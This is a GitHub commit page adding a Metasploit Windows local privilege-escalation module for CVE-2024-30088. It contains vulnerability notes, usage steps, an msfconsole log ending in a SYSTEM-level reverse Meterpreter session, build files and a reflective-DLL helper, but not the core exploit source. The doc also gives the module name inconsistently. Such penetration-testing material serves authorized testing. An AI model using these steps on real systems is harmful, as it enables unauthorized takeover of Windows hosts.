Skip to content

Commit 0bf5244

Browse files
dledda-r7dledda-r7
committed
Land rapid7#19345, Post module Windows LPE CVE-2024-30088 
2 parents f8ada15 + 05c3c9a commit 0bf5244

File tree

12 files changed

+817
-1
lines changed

12 files changed

+817
-1
lines changed

‎data/exploits/CVE-2024-30088/CVE-2024-30088.x64.dll‎

636 KB
Binary file not shown.

‎documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md‎

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Vulnerable Application
2+
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
3+
Windows 11 and Windows Server 2022.
4+
5+
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
6+
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
7+
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
8+
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
9+
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
10+
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
11+
12+
### Setup
13+
14+
Windows 10 22H2 versions without the patch (before 10.0.19045.4529) are vulnerable out of the box.
15+
This exploit module has been tested on Windows 10 version 22H2 build 19045.2965.
16+
17+
## Verification Steps
18+
19+
1. Start msfconsole
20+
1. Get a user level session on an affected Windows machine
21+
1. Do: `use windows/local/cve_2024_30038_authz_basep`
22+
1. Set the `LHOST`, `LPORT`, and `SESSION` options
23+
1. Run the module
24+
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.
25+
26+
## Scenarios
27+
### Windows 10 (10.0 Build 19045.2965)
28+
```
29+
msf6 > use windows/local/cve_2024_30038_authz_basep
30+
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
31+
msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1
32+
session => -1
33+
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit
34+
35+
[*] Started reverse TCP handler on 172.16.199.1:5555
36+
[*] Running automatic check ("set AutoCheck false" to disable)
37+
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
38+
[*] Reflectively injecting the DLL into 696...
39+
[+] The exploit was successful, reading SYSTEM token from memory...
40+
[+] Successfully stole winlogon handle: 3432
41+
[+] Successfully retrieved winlogon pid: 452
42+
[*] Sending stage (201798 bytes) to 172.16.199.208
43+
[*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700
44+
45+
meterpreter > getuid
46+
Server username: NT AUTHORITY\SYSTEM
47+
meterpreter > sysinfo
48+
Computer : DESKTOP-FGNRA7E
49+
OS : Windows 10 (10.0 Build 19045).
50+
Architecture : x64
51+
System Language : en_US
52+
Domain : WORKGROUP
53+
Logged On Users : 2
54+
Meterpreter : x64/windows
55+
meterpreter >
56+
```

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/CVE-2024-30088.sln‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.9.34728.123
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-30088", "CVE-2024-30088.vcxproj", "{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x64.ActiveCfg = Debug|x64
17+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x64.Build.0 = Debug|x64
18+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x86.ActiveCfg = Debug|Win32
19+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Debug|x86.Build.0 = Debug|Win32
20+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x64.ActiveCfg = Release|x64
21+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x64.Build.0 = Release|x64
22+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x86.ActiveCfg = Release|Win32
23+
{160B76BB-CC55-4229-9C3B-5EBD0FFED32C}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {E06D4ED0-8938-4E66-8429-9C6EC7B18D4D}
30+
EndGlobalSection
31+
EndGlobal

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/CVE-2024-30088.vcxproj‎

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<ProjectGuid>{160b76bb-cc55-4229-9c3b-5ebd0ffed32c}</ProjectGuid>
24+
<Keyword>Win32Proj</Keyword>
25+
<RootNamespace>CVE_2024_30088</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>DynamicLibrary</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>MultiByte</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>DynamicLibrary</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>false</WholeProgramOptimization>
40+
<CharacterSet>MultiByte</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>DynamicLibrary</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>MultiByte</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>DynamicLibrary</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>false</WholeProgramOptimization>
53+
<CharacterSet>MultiByte</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
76+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
77+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
82+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
83+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
84+
</PropertyGroup>
85+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
86+
<LinkIncremental>false</LinkIncremental>
87+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
88+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
89+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
90+
<GenerateManifest>false</GenerateManifest>
91+
</PropertyGroup>
92+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
93+
<LinkIncremental>false</LinkIncremental>
94+
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
95+
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
96+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
97+
<GenerateManifest>false</GenerateManifest>
98+
</PropertyGroup>
99+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
100+
<ClCompile>
101+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
102+
<WarningLevel>Level3</WarningLevel>
103+
<SDLCheck>true</SDLCheck>
104+
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
105+
<ConformanceMode>false</ConformanceMode>
106+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
107+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
108+
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
109+
<TreatWarningAsError>true</TreatWarningAsError>
110+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
111+
<StringPooling>true</StringPooling>
112+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
113+
<FunctionLevelLinking>false</FunctionLevelLinking>
114+
</ClCompile>
115+
<Link>
116+
<SubSystem>Windows</SubSystem>
117+
<GenerateDebugInformation>true</GenerateDebugInformation>
118+
<EnableUAC>false</EnableUAC>
119+
<GenerateMapFile>true</GenerateMapFile>
120+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
121+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
122+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
123+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
124+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
125+
</Link>
126+
</ItemDefinitionGroup>
127+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
128+
<ClCompile>
129+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
130+
<WarningLevel>Level3</WarningLevel>
131+
<SDLCheck>true</SDLCheck>
132+
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
133+
<ConformanceMode>false</ConformanceMode>
134+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
135+
<AdditionalIncludeDirectories>C:\Users\msfuser\Documents\git\metasploit-framework\external\source\include\windows;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
136+
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
137+
<TreatWarningAsError>false</TreatWarningAsError>
138+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
139+
<StringPooling>true</StringPooling>
140+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
141+
<FunctionLevelLinking>false</FunctionLevelLinking>
142+
</ClCompile>
143+
<Link>
144+
<SubSystem>Windows</SubSystem>
145+
<GenerateDebugInformation>true</GenerateDebugInformation>
146+
<EnableUAC>false</EnableUAC>
147+
<GenerateMapFile>true</GenerateMapFile>
148+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
149+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
150+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
151+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
152+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
153+
</Link>
154+
</ItemDefinitionGroup>
155+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
156+
<ClCompile>
157+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
158+
<WarningLevel>Level3</WarningLevel>
159+
<FunctionLevelLinking>false</FunctionLevelLinking>
160+
<IntrinsicFunctions>false</IntrinsicFunctions>
161+
<SDLCheck>
162+
</SDLCheck>
163+
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
164+
<ConformanceMode>false</ConformanceMode>
165+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
166+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
167+
<TreatWarningAsError>true</TreatWarningAsError>
168+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
169+
<StringPooling>true</StringPooling>
170+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
171+
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
172+
<ObjectFileName>$(OutDir)\</ObjectFileName>
173+
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
174+
</ClCompile>
175+
<Link>
176+
<SubSystem>Windows</SubSystem>
177+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
178+
<OptimizeReferences>true</OptimizeReferences>
179+
<GenerateDebugInformation>false</GenerateDebugInformation>
180+
<EnableUAC>false</EnableUAC>
181+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
182+
<GenerateMapFile>false</GenerateMapFile>
183+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
184+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
185+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
186+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
187+
</Link>
188+
</ItemDefinitionGroup>
189+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
190+
<ClCompile>
191+
<PrecompiledHeader>NotUsing</PrecompiledHeader>
192+
<WarningLevel>Level3</WarningLevel>
193+
<FunctionLevelLinking>false</FunctionLevelLinking>
194+
<IntrinsicFunctions>false</IntrinsicFunctions>
195+
<SDLCheck>
196+
</SDLCheck>
197+
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
198+
<ConformanceMode>false</ConformanceMode>
199+
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
200+
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
201+
<TreatWarningAsError>true</TreatWarningAsError>
202+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
203+
<StringPooling>true</StringPooling>
204+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
205+
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
206+
<ObjectFileName>$(OutDir)\</ObjectFileName>
207+
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
208+
</ClCompile>
209+
<Link>
210+
<SubSystem>Windows</SubSystem>
211+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
212+
<OptimizeReferences>true</OptimizeReferences>
213+
<GenerateDebugInformation>false</GenerateDebugInformation>
214+
<EnableUAC>false</EnableUAC>
215+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
216+
<GenerateMapFile>false</GenerateMapFile>
217+
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
218+
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
219+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
220+
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
221+
</Link>
222+
</ItemDefinitionGroup>
223+
<ItemGroup>
224+
<ClCompile Include="dllmain.c" />
225+
<ClCompile Include="exploit.c" />
226+
<ClCompile Include="ReflectiveFreeAndExitThread.c" />
227+
</ItemGroup>
228+
<ItemGroup>
229+
<ClInclude Include="exploit.h" />
230+
<ClInclude Include="ReflectiveFreeAndExitThread.h" />
231+
</ItemGroup>
232+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
233+
<ImportGroup Label="ExtensionTargets">
234+
</ImportGroup>
235+
</Project>

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.c‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
#include "ReflectiveFreeAndExitThread.h"
2+
3+
typedef NTSTATUS
4+
(*NtQueueApcThread)(
5+
HANDLE ThreadHandle,
6+
PVOID ApcRoutine,
7+
ULONG_PTR SystemArgument1,
8+
ULONG_PTR SystemArgument2,
9+
ULONG_PTR SystemArgument3
10+
);
11+
12+
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) {
13+
NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread");
14+
HANDLE hThread = NULL;
15+
HANDLE hThisThread = NULL;
16+
17+
do {
18+
if (!pNtQueueApcThread)
19+
break;
20+
21+
// create a suspended thread that will just exit once the APCs have executed
22+
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitThread, 0, CREATE_SUSPENDED, NULL);
23+
if (!hThread)
24+
break;
25+
26+
// open a real handle to this thread to pass in the APC so it operates on this thread and not itself
27+
hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId());
28+
if (!hThisThread)
29+
break;
30+
31+
// tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited
32+
pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE);
33+
34+
// then close the handle so it's not leaked
35+
QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
36+
37+
// then free the memory
38+
pNtQueueApcThread(hThread, VirtualFree, (ULONG_PTR)hAppInstance, 0, MEM_RELEASE);
39+
40+
ResumeThread(hThread);
41+
} while (FALSE);
42+
43+
if (hThread)
44+
CloseHandle(hThread);
45+
46+
ExitThread(dwExitCode);
47+
return;
48+
}

‎external/source/exploits/CVE-2024-30088/CVE-2024-30088/ReflectiveFreeAndExitThread.h‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#ifndef _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
2+
#define _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
3+
4+
#include <windows.h>
5+
6+
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode);
7+
8+
#endif

0 commit comments

Comments
 (0)